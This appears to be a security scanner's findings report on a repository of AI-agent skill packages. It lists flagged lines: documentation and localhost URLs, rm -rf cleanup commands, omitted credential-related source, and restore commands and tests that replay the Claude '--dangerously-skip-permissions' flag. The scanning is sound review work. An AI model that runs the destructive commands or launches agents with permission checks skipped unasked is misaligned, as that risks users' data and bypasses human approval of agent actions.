    https://www.w3.org/WAI/WCAG22/Understanding/use-of-color.html
  • Network accessline 129
    symbols, patterns, line styles, or an equivalent table where needed. - WCAG 2.2 Non-text Contrast:   https://www.w3.org/WAI/WCAG22/Understanding/non-text-contrast.html
  • Network accessline 130
    - WCAG 2.2 Non-text Contrast:   https://www.w3.org/WAI/WCAG22/Understanding/non-text-contrast.html   Graphical objects required for understanding should reach 3:1 against
  • Network accessline 131
    https://www.w3.org/WAI/WCAG22/Understanding/non-text-contrast.html
  • Network accessline 134
    nonessential. - ColorBrewer:   https://colorbrewer2.org/
  • Network accessline 135
    - ColorBrewer:   https://colorbrewer2.org/   Prefer an established colorblind-safe qualitative palette when it fits the
  • Network accessline 136
    https://colorbrewer2.org/

frontend-visual-qa/references/delivery-verification.md

  • Network accessline 45
    "schema_version": 1,   "artifact_ref": "0123456789abcdef0123456789abcdef01234567",   "base_url": "http://127.0.0.1:9000/",
  • Network accessline 46
    "artifact_ref": "0123456789abcdef0123456789abcdef01234567",   "base_url": "http://127.0.0.1:9000/",   "resources": [
  • Network accessline 47
    "base_url": "http://127.0.0.1:9000/",

frontend-visual-qa/references/history-derived-checklist.md

  • Network accessline 12
    - WCAG 2.2 Reflow 1.4.10:   https://www.w3.org/WAI/WCAG22/Understanding/reflow.html
  • Network accessline 13
    https://www.w3.org/WAI/WCAG22/Understanding/reflow.html
  • Network accessline 16
    except where a two-dimensional layout is essential. - WCAG 2.2 Text Spacing 1.4.12:   https://www.w3.org/WAI/WCAG22/Understanding/text-spacing.html
  • Network accessline 17
    - WCAG 2.2 Text Spacing 1.4.12:   https://www.w3.org/WAI/WCAG22/Understanding/text-spacing.html   Check that user overrides for 1.5 line height, 2x paragraph spacing, 0.12em
  • Network accessline 18
    https://www.w3.org/WAI/WCAG22/Understanding/text-spacing.html
  • Network accessline 21
    These are override-survivability values, not recommended authored defaults. - WCAG 2.2 Focus Not Obscured 2.4.11:   https://www.w3.org/WAI/WCAG22/Understanding/focus-not-obscured-minimum.html
  • Network accessline 22
    - WCAG 2.2 Focus Not Obscured 2.4.11:   https://www.w3.org/WAI/WCAG22/Understanding/focus-not-obscured-minimum.html   Check that sticky headers, footers, notifications, and non-modal overlays do
  • Network accessline 23
    https://www.w3.org/WAI/WCAG22/Understanding/focus-not-obscured-minimum.html
  • Network accessline 25
    not entirely hide the focused control. - WCAG 2.2 Target Size 2.5.8:   https://www.w3.org/WAI/WCAG22/Understanding/target-size-minimum.html
  • Network accessline 26
    - WCAG 2.2 Target Size 2.5.8:   https://www.w3.org/WAI/WCAG22/Understanding/target-size-minimum.html   Check for at least 24 by 24 CSS pixels or sufficient spacing, while respecting
  • Network accessline 27
    https://www.w3.org/WAI/WCAG22/Understanding/target-size-minimum.html
  • Network accessline 30
    exceptions. - Chrome Device Mode limitations:   https://developer.chrome.com/docs/devtools/device-mode#limitations
  • Network accessline 31
    - Chrome Device Mode limitations:   https://developer.chrome.com/docs/devtools/device-mode#limitations   Treat emulation as a first-order approximation. Use a real device when CPU,
  • Network accessline 32
    https://developer.chrome.com/docs/devtools/device-mode#limitations
  • Network accessline 34
    input, browser chrome, or device-specific behavior matters. - Playwright visual comparisons:   https://playwright.dev/docs/test-snapshots
  • Network accessline 35
    - Playwright visual comparisons:   https://playwright.dev/docs/test-snapshots   Keep baseline and comparison environments stable; OS, browser version, fonts,
  • Network accessline 36
    https://playwright.dev/docs/test-snapshots
  • Network accessline 262
    Basis: [NN/g's aesthetic and minimalist design heuristic](https://www.nngroup.com/articles/aesthetic-minimalist-design/)
  • Network accessline 263
    requires enough information for the task without competing irrelevant detail; [GOV.UK's details guidance](https://design-system.service.gov.uk/components/details/) supports disclosure for information only some users need, not hiding informa
  • Network accessline 264
    [GOV.UK's details guidance](https://design-system.service.gov.uk/components/details/)
  • Network accessline 274
    | Observed failure | Apply the established method | | --- | --- | | Generic composition despite clean lint | [Impeccable critique](https://github.com/pbakaus/impeccable/blob/936867543ac2576920d663cc9803597f6044f3ac/skill/reference/critique.
  • Network accessline 275
    | --- | --- | | Generic composition despite clean lint | [Impeccable critique](https://github.com/pbakaus/impeccable/blob/936867543ac2576920d663cc9803597f6044f3ac/skill/reference/critique.md): judge product specificity and cognitive load be
  • Network accessline 276
    | Generic composition despite clean lint | [Impeccable critique](https://github.com/pbakaus/impeccable/blob/936867543ac2576920d663cc9803597f6044f3ac/skill/reference/critique.md): judge product specificity and cognitive load before seeing de
  • Network accessline 277
    | Explanations and controls compete with the work | [Impeccable distill](https://github.com/pbakaus/impeccable/blob/936867543ac2576920d663cc9803597f6044f3ac/skill/reference/distill.md) and [clarify](https://github.com/pbakaus/impeccable/blo
  • Network accessline 278
    | A dashboard reads like a template or instruction sheet | [Taste Skill's app-screen method](https://github.com/Leonxlnx/taste-skill/blob/12af471f627f866411b4bd785b19646d3672784c/skills/taste-skill/references/app-screens.md): use the work s
  • Network accessline 279
    | Technical truth produces an overloaded status surface | [Product Writing](https://github.com/scarletkc/agents/blob/3be29ae86c2eb29a220cc2f11c8ba21228387fbb/skills/product-writing/SKILL.md): give a summary and diagnostics distinct jobs; re

frontend-visual-qa/references/journey-and-page-contracts.md

  • Network accessline 395
    The split and expectation checks apply [NN/g's progressive-disclosure guidance](https://www.nngroup.com/articles/progressive-disclosure/).
  • Network accessline 396
    [NN/g's progressive-disclosure guidance](https://www.nngroup.com/articles/progressive-disclosure/).
  • Network accessline 397
    The essential-content boundary follows [GOV.UK's details guidance](https://design-system.service.gov.uk/components/details/). These sources do not prescribe one detail format or prove this target's correctness.
  • Network accessline 398
    [GOV.UK's details guidance](https://design-system.service.gov.uk/components/details/).

frontend-visual-qa/references/markdown-reader-handoff.md

  • Network accessline 73
    The [Obsidian embed documentation](https://help.obsidian.md/embeds) specifies

frontend-visual-qa/references/silent-degradation-and-evidence.md

  • Network accessline 109
    node <skill-root>/scripts/silent_degradation_probe.mjs font \       --url http://127.0.0.1:5173/ --weight 700 \
  • Network accessline 110
    --url http://127.0.0.1:5173/ --weight 700 \

frontend-visual-qa/scripts/attention_inventory.mjs

  • Executable scriptline 1
    Executable file

frontend-visual-qa/scripts/journey_input.mjs

  • Executable scriptline 1
    Executable file

frontend-visual-qa/scripts/painted_text_probe.mjs

  • Executable scriptline 1
    Executable file

frontend-visual-qa/scripts/silent_degradation_probe.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 178
    const response = await route.fetch({ headers: requestHeaders, maxRedirects: 0 });

frontend-visual-qa/scripts/verify_delivery.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 7
    import argparse import hashlib from http.client import HTTPException
  • Network accessline 8
    import hashlib from http.client import HTTPException import json
  • Network accessline 9
    from http.client import HTTPException
  • Network accessline 128
    def fetch(opener, url, allowed, timeout, max_bytes):
  • Network accessline 155
    ref = fingerprint(item['path'])         try:             body = fetch(opener, prefix + item['path'], allowed, timeout, max_bytes)
  • Network accessline 156
    try:             body = fetch(opener, prefix + item['path'], allowed, timeout, max_bytes)             report['checked_resources'] += 1
  • Network accessline 157
    body = fetch(opener, prefix + item['path'], allowed, timeout, max_bytes)

frontend-visual-qa/scripts/visual_layout_audit.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 67
    const usage = [   "Usage: visual_layout_audit.mjs (--url <http://localhost:port/> | --file <artifact.html>)",
  • Network accessline 68
    "Usage: visual_layout_audit.mjs (--url <http://localhost:port/> | --file <artifact.html>)",

frontend-visual-qa/tests/test_attention_inventory.mjs

  • Executable scriptline 1
    Executable file

frontend-visual-qa/tests/test_journey_input.mjs

  • Executable scriptline 1
    Executable file

frontend-visual-qa/tests/test_nested_source_return.mjs

  • Executable scriptline 1
    Executable file
  • Network accessline 25
    browser = await chromium.launch({ headless: true });     const page = await browser.newPage({ viewport: measurements.viewport });     const url = `http://127.0.0.1:${server.address().port}/`;
  • Network accessline 26
    const page = await browser.newPage({ viewport: measurements.viewport });     const url = `http://127.0.0.1:${server.address().port}/`;     const geometry = () => page.evaluate(() => {
  • Network accessline 27
    const url = `http://127.0.0.1:${server.address().port}/`;
  • Network accessline 132
    browser = await chromium.launch({ headless: true });     const page = await browser.newPage({ viewport: { width: 1150, height: 800 } });     const url = `http://127.0.0.1:${server.address().port}/?journey=semantic`;
  • Network accessline 133
    const page = await browser.newPage({ viewport: { width: 1150, height: 800 } });     const url = `http://127.0.0.1:${server.address().port}/?journey=semantic`;     async function start(fault) {
  • Network accessline 134
    const url = `http://127.0.0.1:${server.address().port}/?journey=semantic`;

frontend-visual-qa/tests/test_painted_text_probe.mjs

  • Executable scriptline 1
    Executable file

frontend-visual-qa/tests/test_reader_status_bar.mjs

  • Executable scriptline 1
    Executable file
  • Network accessline 26
    for (const viewport of [{ width: 1440, height: 900 }, { width: 1100, height: 700 }]) {       const page = await browser.newPage({ viewport });       const url = `http://127.0.0.1:${server.address().port}/`;
  • Network accessline 27
    const page = await browser.newPage({ viewport });       const url = `http://127.0.0.1:${server.address().port}/`;       for (const layout of ['overflowing', 'bounded']) {
  • Network accessline 28
    const url = `http://127.0.0.1:${server.address().port}/`;

frontend-visual-qa/tests/test_result_consumption_fixture.py

  • Executable scriptline 1
    Executable file
  • Network accessline 131
    row=by_id[case_id]             self.assertEqual(row['files'],['evals/files/result-consumption-fixture.html','evals/files/result-consumption-authority.json'])         for forbidden in ['fetch(', 'XMLHttpRequest', 'https://', 'http://', 'expe
  • Network accessline 132
    self.assertEqual(row['files'],['evals/files/result-consumption-fixture.html','evals/files/result-consumption-authority.json'])         for forbidden in ['fetch(', 'XMLHttpRequest', 'https://', 'http://', 'expected grade', 'defect name']:   
  • Network accessline 133
    for forbidden in ['fetch(', 'XMLHttpRequest', 'https://', 'http://', 'expected grade', 'defect name']:

frontend-visual-qa/tests/test_silent_degradation_probe.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 92
    const result = await runProbe([     'font',     '--url', 'http://127.0.0.1/',
  • Network accessline 93
    'font',     '--url', 'http://127.0.0.1/',     '--family', 'system-ui',
  • Network accessline 94
    '--url', 'http://127.0.0.1/',
  • Network accessline 104
    const result = await runProbe([     'font',     '--url', 'http://127.0.0.1/',
  • Network accessline 105
    'font',     '--url', 'http://127.0.0.1/',     '--family', 'system-ui',
  • Network accessline 106
    '--url', 'http://127.0.0.1/',
  • Network accessline 116
    const result = await runProbe([     'font',     '--url', 'http://127.0.0.1/',
  • Network accessline 117
    'font',     '--url', 'http://127.0.0.1/',     '--family', 'system-ui',
  • Network accessline 118
    '--url', 'http://127.0.0.1/',
  • Network accessline 137
    initialAuthorization = request.headers.authorization || '';     response.writeHead(302, {       Location: `http://127.0.0.1:${destination.address().port}/destination`,
  • Network accessline 138
    response.writeHead(302, {       Location: `http://127.0.0.1:${destination.address().port}/destination`,     });
  • Network accessline 139
    Location: `http://127.0.0.1:${destination.address().port}/destination`,
  • Network accessline 146
    const result = await runProbe([       'font',       '--url', `http://127.0.0.1:${redirector.address().port}/start`,
  • Network accessline 147
    'font',       '--url', `http://127.0.0.1:${redirector.address().port}/start`,       '--family', 'system-ui',
  • Network accessline 148
    '--url', `http://127.0.0.1:${redirector.address().port}/start`,
  • Access to secretsline 152
    [Credential-related source omitted]
  • Network accessline 168
    [Credential-related source omitted]
  • Network accessline 169
    [Credential-related source omitted]
  • Network accessline 170
    [Credential-related source omitted]
  • Network accessline 188
    [Credential-related source omitted]
  • Network accessline 189
    [Credential-related source omitted]
  • Network accessline 190
    [Credential-related source omitted]
  • Network accessline 227
    await listen(server);   try {     const target = `http://127.0.0.1:${server.address().port}/reset/ERROR_PATH_SECRET?code=ERROR_QUERY_SECRET#/route/ERROR_FRAGMENT_SECRET`;
  • Network accessline 228
    try {     const target = `http://127.0.0.1:${server.address().port}/reset/ERROR_PATH_SECRET?code=ERROR_QUERY_SECRET#/route/ERROR_FRAGMENT_SECRET`;     const result = await runScript(LAYOUT_SCRIPT, [
  • Network accessline 229
    const target = `http://127.0.0.1:${server.address().port}/reset/ERROR_PATH_SECRET?code=ERROR_QUERY_SECRET#/route/ERROR_FRAGMENT_SECRET`;

frontend-visual-qa/tests/test_verify_delivery.py

  • Executable scriptline 1
    Executable file
  • Network accessline 2
    import hashlib from http.client import HTTPResponse
  • Network accessline 3
    from http.client import HTTPResponse
  • Network accessline 31
    self.requests = []         Server.ordinal += 1         self.base = f'https://fixture-{Server.ordinal}.example.test'
  • Network accessline 32
    Server.ordinal += 1         self.base = f'https://fixture-{Server.ordinal}.example.test'         Server.registry[self.base] = self
  • Network accessline 33
    self.base = f'https://fixture-{Server.ordinal}.example.test'
  • Network accessline 42
    parts = probe.urlsplit(request.full_url)         fixture = Server.registry[parts.scheme+'://'+parts.netloc]         fixture.requests.append((request.get_method(), parts.path))
  • Network accessline 43
    fixture = Server.registry[parts.scheme+'://'+parts.netloc]         fixture.requests.append((request.get_method(), parts.path))         status, headers, body = fixture.responses.get(parts.path, (404, {}, b''))
  • Network accessline 44
    fixture.requests.append((request.get_method(), parts.path))
  • Network accessline 151
    manifest = Path(directory)/'manifest.json'             value = self.manifest()             value['base_url'] = 'https://fixture-1.example.test'
  • Network accessline 152
    value = self.manifest()             value['base_url'] = 'https://fixture-1.example.test'             manifest.write_text(json.dumps(value))
  • Network accessline 153
    value['base_url'] = 'https://fixture-1.example.test'
  • Network accessline 179
    def test_invalid_or_foreign_resource_paths_never_request(self):         for path in ('//other.example/file', 'https://other.example/file', '/x?q=secret',
  • Network accessline 180
    for path in ('//other.example/file', 'https://other.example/file', '/x?q=secret',
  • Network accessline 226
    value = self.manifest()             value['base_url'] = 'https://fixture-1.example.test'
  • Network accessline 227
    value['base_url'] = 'https://fixture-1.example.test'

gemini-history-analyzer/SKILL.md

  • Dangerous shell operationline 199
    rm -rf <extract-dir>

ghostty-use/SKILL.md

  • Network accessline 42
    For missing Codex terminals without confirmed Ghostty ownership, load the installed `read-codex-history` Skill and follow its [terminal-session recovery recipe](https://github.com/daymade/claude-code-skills/blob/main/daymade-claude-code/rea
  • Network accessline 44
    [terminal-session recovery recipe](https://github.com/daymade/claude-code-skills/blob/main/daymade-claude-code/read-codex-history/references/terminal-session-recovery.md).
  • Network accessline 219
    {"research": "CLAUDE_CONFIG_DIR=~/.claude-profiles/research", "family": "HTTP_PROXY=http://127.0.0.1:7890"}

ghostty-use/references/codex-account-switch.md

  • Network accessline 19
    First distinguish a shared native daemon from an independent TUI; appearing in Ghostty does not mean every session needs to exit and reopen. For an eligible unmanaged shared owner, follow [Local Codex's existing-owner recovery](https://gith
  • Network accessline 20
    Ghostty does not mean every session needs to exit and reopen. For an eligible unmanaged shared owner, follow [Local Codex's existing-owner recovery](https://github.com/daymade/claude-code-skills/blob/main/daymade-codex/local-codex/reference
  • Network accessline 21
    unmanaged shared owner, follow [Local Codex's existing-owner recovery](https://github.com/daymade/claude-code-skills/blob/main/daymade-codex/local-codex/references/oauth-guide.md#existing-native-owner-recovery)
  • Network accessline 84
    send process-termination signals or close Ghostty wholesale: Claude Code may share the app. For the login or credential-recovery step, follow [local-codex's OAuth guide](https://github.com/daymade/claude-code-skills/blob/main/daymade-codex/
  • Network accessline 85
    For the login or credential-recovery step, follow [local-codex's OAuth guide](https://github.com/daymade/claude-code-skills/blob/main/daymade-codex/local-codex/references/oauth-guide.md); this script owns session preservation and restoratio
  • Network accessline 86
    [local-codex's OAuth guide](https://github.com/daymade/claude-code-skills/blob/main/daymade-codex/local-codex/references/oauth-guide.md);

ghostty-use/references/session_liveness.md

  • Access to secretsline 63
    [Credential-related source omitted]

ghostty-use/scripts/ghostty_session.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 277
    [Credential-related source omitted]
  • Access to secretsline 443
    [Credential-related source omitted]
  • Access to secretsline 459
    [Credential-related source omitted]

ghostty-use/scripts/ghostty_storage.py

  • Executable scriptline 1
    #!/usr/bin/env python3

ghostty-use/scripts/ghostty_switch.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 140
    [Credential-related source omitted]

ghostty-use/scripts/ghostty_watch.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Instruction override signalline 89
    CLAUDE_OPTIONAL = set("-d --debug --cloud --from-pr --prompt-suggestions --remote-control -r --resume --teleport -w --worktree".split()) CLAUDE_VARIADIC = set("--add-dir --allowedTools --allowed-tools --betas --disallowedTools --disallowed-
  • Instruction override signalline 90
    CLAUDE_VARIADIC = set("--add-dir --allowedTools --allowed-tools --betas --disallowedTools --disallowed-tools --file --mcp-config --tools".split()) CLAUDE_BOOLEAN = set("--allow-dangerously-skip-permissions --ax-screen-reader --bg --backgrou
  • Instruction override signalline 91
    CLAUDE_BOOLEAN = set("--allow-dangerously-skip-permissions --ax-screen-reader --bg --background --bare --brief --chrome -c --continue --dangerously-skip-permissions --desktop --disable-slash-commands --exclude-dynamic-system-prompt-sections

ghostty-use/scripts/test_ghostty_session.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Instruction override signalline 102
    sid = "aaaaaaaa-0000-0000-0000-000000000001"         for cmdline in [             "claude --dangerously-skip-permissions -r " + sid,
  • Instruction override signalline 103
    for cmdline in [             "claude --dangerously-skip-permissions -r " + sid,             "/Users/x/.nvm/versions/node/v24/bin/codex resume " + sid,
  • Instruction override signalline 104
    "claude --dangerously-skip-permissions -r " + sid,
  • Instruction override signalline 116
    )         self.assertEqual(             gs._detect_profile("claude --dangerously-skip-permissions"),
  • Instruction override signalline 117
    self.assertEqual(             gs._detect_profile("claude --dangerously-skip-permissions"),             "direct",
  • Instruction override signalline 118
    gs._detect_profile("claude --dangerously-skip-permissions"),
  • Instruction override signalline 233
    def test_claude_direct_replay(self):         s = {"tool": "claude", "sid": S_HEALTHY, "cwd": "/tmp/proj",              "cmdline": "claude --dangerously-skip-permissions", "profile": "direct"}
  • Instruction override signalline 234
    s = {"tool": "claude", "sid": S_HEALTHY, "cwd": "/tmp/proj",              "cmdline": "claude --dangerously-skip-permissions", "profile": "direct"}         got = gs.restore_cmd(s)
  • Instruction override signalline 235
    "cmdline": "claude --dangerously-skip-permissions", "profile": "direct"}
  • Instruction override signalline 237
    self.assertEqual(got, "cd -- /tmp/proj && claude --dangerously-skip-permissions -r " + S_HEALTHY)
  • Instruction override signalline 239
    def test_claude_with_settings_replay(self):         s = {"tool": "claude", "sid": S_HEALTHY, "cwd": "/tmp/proj",              "cmdline": "claude --settings /u/me/.claude/settings/myprofile.json --dangerously-skip-permissions",
  • Instruction override signalline 240
    s = {"tool": "claude", "sid": S_HEALTHY, "cwd": "/tmp/proj",              "cmdline": "claude --settings /u/me/.claude/settings/myprofile.json --dangerously-skip-permissions",              "profile": "myprofile"}
  • Instruction override signalline 241
    "cmdline": "claude --settings /u/me/.claude/settings/myprofile.json --dangerously-skip-permissions",
  • Instruction override signalline 260
    def test_cwd_with_spaces_is_quoted(self):         s = {"tool": "claude", "sid": S_HEALTHY, "cwd": "/tmp/My Project",              "cmdline": "claude --dangerously-skip-permissions", "profile": "direct"}
  • Instruction override signalline 261
    s = {"tool": "claude", "sid": S_HEALTHY, "cwd": "/tmp/My Project",              "cmdline": "claude --dangerously-skip-permissions", "profile": "direct"}         got = gs.restore_cmd(s)
  • Instruction override signalline 262
    "cmdline": "claude --dangerously-skip-permissions", "profile": "direct"}
  • Instruction override signalline 435
    make_index(self.home, [(S_CODEX, candidate)])         saved = entry(S_HEALTHY)         saved.update(tool="claude", profile="research", cmdline="claude --settings /tmp/settings/research.json --model x --dangerously-skip-permissions")
  • Instruction override signalline 436
    saved = entry(S_HEALTHY)         saved.update(tool="claude", profile="research", cmdline="claude --settings /tmp/settings/research.json --model x --dangerously-skip-permissions")         Path(gs.SNAP_DIR).mkdir(parents=True)
  • Instruction override signalline 437
    saved.update(tool="claude", profile="research", cmdline="claude --settings /tmp/settings/research.json --model x --dangerously-skip-permissions")
  • Instruction override signalline 840
    def test_uuidless_tui_anchored_via_transcript(self):         rows = ("  500 ttys042 claude --dangerously-skip-permissions\n"
  • Instruction override signalline 841
    rows = ("  500 ttys042 claude --dangerously-skip-permissions\n"
  • Instruction override signalline 877
    def test_unresolvable_tui_is_reported_not_dropped(self):         rows = "  500 ttys042 claude --dangerously-skip-permissions\n"
  • Instruction override signalline 878
    rows = "  500 ttys042 claude --dangerously-skip-permissions\n"
  • Instruction override signalline 919
    def test_resolve_disabled_keeps_argv_only(self):         rows = "  500 ttys042 claude --dangerously-skip-permissions\n"
  • Instruction override signalline 920
    rows = "  500 ttys042 claude --dangerously-skip-permissions\n"
  • Instruction override signalline 926
    def test_snapshot_output_accounts_unresolved(self):         live = gs.SessionList([], unresolved=[{"pid": 1, "tty": "ttys042", "tool": "claude",                                                "cmd": "claude --dangerously-skip-permissions"}]
  • Instruction override signalline 927
    live = gs.SessionList([], unresolved=[{"pid": 1, "tty": "ttys042", "tool": "claude",                                                "cmd": "claude --dangerously-skip-permissions"}])         output = io.StringIO()
  • Instruction override signalline 928
    "cmd": "claude --dangerously-skip-permissions"}])

ghostty-use/scripts/test_ghostty_switch.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 53
    [Credential-related source omitted]

ghostty-use/scripts/test_ghostty_watch.py

  • Executable scriptline 1
    #!/usr/bin/env python3

git-safety-net/SKILL.md

  • Dangerous shell operationline 102
    untracked files in a sibling clone one `rm -rf` from gone.
  • Dangerous shell operationline 499
    rm "$candidate_index"

git-safety-net/references/merge_verification.md

  • Dangerous shell operationline 909
    `rm -rf` or force to make a dirty/uninspectable worktree disappear.
  • Network accessline 994
    The [official `git worktree remove` contract](https://git-scm.com/docs/git-worktree#_commands)

git-safety-net/references/recovery_playbook.md

  • Network accessline 340
    - Pro Git — Data Recovery (reflog / fsck / dangling objects): <https://git-scm.com/book/en/v2/Git-Internals-Maintenance-and-Data-Recovery>
  • Network accessline 341
    - Git `worktree` documentation: <https://git-scm.com/docs/git-worktree>
  • Network accessline 342
    - Git `bundle` documentation: <https://git-scm.com/docs/git-bundle>
  • Network accessline 343
    - Git `merge-tree` documentation: <https://git-scm.com/docs/git-merge-tree>

git-safety-net/scripts/git_align_checkout.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 94
    trap 'rm -rf "$TMPD"' EXIT

git-safety-net/scripts/git_classify_refs.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

git-safety-net/scripts/git_export_before_drop.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

git-safety-net/scripts/git_find_all_checkouts.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 20
    #   was pushed, and the work was still one `rm -rf` away from being gone for good.
  • Network accessline 129
    # Normalize a remote URL so the SSH and HTTPS forms of the same repository compare equal: #   git@github.com:owner/repo.git  ->  github.com/owner/repo #   https://github.com/owner/repo  ->  github.com/owner/repo
  • Network accessline 131
    #   https://github.com/owner/repo  ->  github.com/owner/repo

git-safety-net/scripts/git_hosted_vs_cached.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 10
    # #   SAME          — hosted and cached agree (cache is current for this branch) #   DIFFERENT-SHA — hosted moved since the last fetch (cache is stale for this branch)
  • Network accessline 11
    #   SAME          — hosted and cached agree (cache is current for this branch) #   DIFFERENT-SHA — hosted moved since the last fetch (cache is stale for this branch) #   HOSTED-ONLY   — exists on the hosting service, no local cache entry ye
  • Network accessline 12
    #   DIFFERENT-SHA — hosted moved since the last fetch (cache is stale for this branch)
  • Dangerous shell operationline 82
    trap 'rm -rf "$TMPD"' EXIT

git-safety-net/scripts/git_loss_audit.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 64
    trap 'rm -f "$AUDIT_DIAGNOSTICS"' EXIT

git-safety-net/scripts/git_prepare_clone_retirement.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]

git-safety-net/scripts/git_preserve_danglers.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 100
    rm -f "$OUT"

git-safety-net/scripts/git_verify_branch_merged.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

git-safety-net/tests/test_git_align_checkout.py

  • Executable scriptline 1
    #!/usr/bin/env python3

git-safety-net/tests/test_git_classify_refs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 42
    [Credential-related source omitted]

git-safety-net/tests/test_git_export_before_drop.py

  • Executable scriptline 1
    #!/usr/bin/env python3

git-safety-net/tests/test_git_find_all_checkouts.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 84
    [Credential-related source omitted]

git-safety-net/tests/test_git_hosted_vs_cached.py

  • Executable scriptline 1
    #!/usr/bin/env python3

git-safety-net/tests/test_git_loss_audit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 297
    [Credential-related source omitted]
  • Access to secretsline 327
    [Credential-related source omitted]

git-safety-net/tests/test_git_prepare_clone_retirement.py

  • Executable scriptline 1
    #!/usr/bin/env python3

git-safety-net/tests/test_git_preserve_danglers.py

  • Executable scriptline 1
    #!/usr/bin/env python3

git-safety-net/tests/test_git_verify_branch_merged.py

  • Executable scriptline 1
    #!/usr/bin/env python3

git-safety-net/tests/test_git_verify_branch_merged_options.py

  • Executable scriptline 1
    #!/usr/bin/env python3

github-contributor/SKILL.md

  • Network accessline 81
    Use [Conventional Commits](https://www.conventionalcommits.org/): `<type>(<scope>): <description>` where type is `feat | fix | docs | refactor | test | chore | ci | perf`. Each commit should be reviewable on its own.

github-contributor/references/case_study_cc-switch_pr_1624.md

  • Network accessline 3
    A companion to the PR #2634 case study. The historical PR added a "keep conversation history" toggle to `farion1231/cc-switch`, writing `cleanupPeriodDays` in Claude's `settings.json`. The toggle and its earlier fixes below are historical c
  • Network accessline 5
    PR URL: https://github.com/farion1231/cc-switch/pull/1624

github-contributor/references/case_study_cc-switch_pr_2634.md

  • Network accessline 7
    PR URL: https://github.com/farion1231/cc-switch/pull/2634
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 138
    [Credential-related source omitted]
  • Dangerous shell operationline 160
    rm -rf /tmp/cc-switch-e2e
  • Access to secretsline 188
    [Credential-related source omitted]
  • Network accessline 267
    git config --global --get-regexp url # output showed url.https://github.com/.insteadOf=<ssh-git-url-prefix>
  • Network accessline 268
    # output showed url.https://github.com/.insteadOf=<ssh-git-url-prefix>

github-contributor/references/phase1_discovery.md

  • Network accessline 144
    # Inside an existing clone of your fork: git remote get-url origin   # should be your fork git remote add upstream https://github.com/<owner>/<repo>.git  # add upstream if missing
  • Network accessline 145
    git remote get-url origin   # should be your fork git remote add upstream https://github.com/<owner>/<repo>.git  # add upstream if missing git fetch upstream
  • Network accessline 146
    git remote add upstream https://github.com/<owner>/<repo>.git  # add upstream if missing git fetch upstream git switch -c feat/short-name upstream/main

github-contributor/references/phase4_pr_description.md

  • Access to secretsline 134
    [Credential-related source omitted]
  • Dangerous shell operationline 166
    git rm -rf .  # remove everything from the orphan branch
  • Network accessline 178
    ![](https://raw.githubusercontent.com/<your-fork-user>/<repo>/assets/pr-<N>-screenshots/screenshot_1_import_dialog.png)

github-contributor/references/push_time_gotchas.md

  • Network accessline 18
    git config --global --unset url."https://github.com/".insteadOf

github-ops/references/api_reference.md

  • Network accessline 772
    gh api -X POST repos/{owner}/{repo}/hooks \   -f name="web" \   -f 'config[url]=https://example.com/webhook' \
  • Network accessline 773
    -f name="web" \   -f 'config[url]=https://example.com/webhook' \   -f 'config[content_type]=json' \
  • Network accessline 774
    -f 'config[url]=https://example.com/webhook' \
  • Network accessline 846
    - GitHub REST API documentation: https://docs.github.com/en/rest
  • Network accessline 847
    - GitHub GraphQL API documentation: https://docs.github.com/en/graphql
  • Network accessline 848
    - gh CLI manual: https://cli.github.com/manual/

github-ops/references/branch_protection.md

  • Network accessline 250
    - [GitHub collaborator permissions](https://docs.github.com/en/rest/collaborators/collaborators)
  • Network accessline 251
    - [Ruleset API inputs and effective branch rules](https://docs.github.com/en/rest/repos/rules)
  • Network accessline 252
    - [Protected-branch availability and review behavior](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches)

github-ops/references/ci-demand-and-notifications.md

  • Network accessline 78
    the plan, SKU rules and account budget before reporting exhaustion or a forecast. If billing access fails, retain unknown; job annotations still prove the named run was blocked. See [GitHub billing](https://docs.github.com/en/actions/concep
  • Network accessline 80
    run was blocked. See [GitHub billing](https://docs.github.com/en/actions/concepts/billing-and-usage).
  • Network accessline 95
    reported aggregate where that contract needs a terminal result. Do not weaken protection to work around a pending check. See [GitHub path filtering and skipped checks](https://docs.github.com/en/actions/reference/workflows-and-actions/workf
  • Network accessline 97
    checks](https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax#onpushpull_requestpull_request_targetpathspaths-ignore).
  • Network accessline 114
    relevant validation inputs unchanged and current repository rules permit merging. Required up-to-date checks, merge queues, review requirements and conflicts still govern readiness ([GitHub branch protection](https://docs.github.com/en/repo
  • Network accessline 115
    Required up-to-date checks, merge queues, review requirements and conflicts still govern readiness ([GitHub branch protection](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-bra
  • Network accessline 116
    govern readiness ([GitHub branch protection](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-status-checks-before-merging)).
  • Network accessline 127
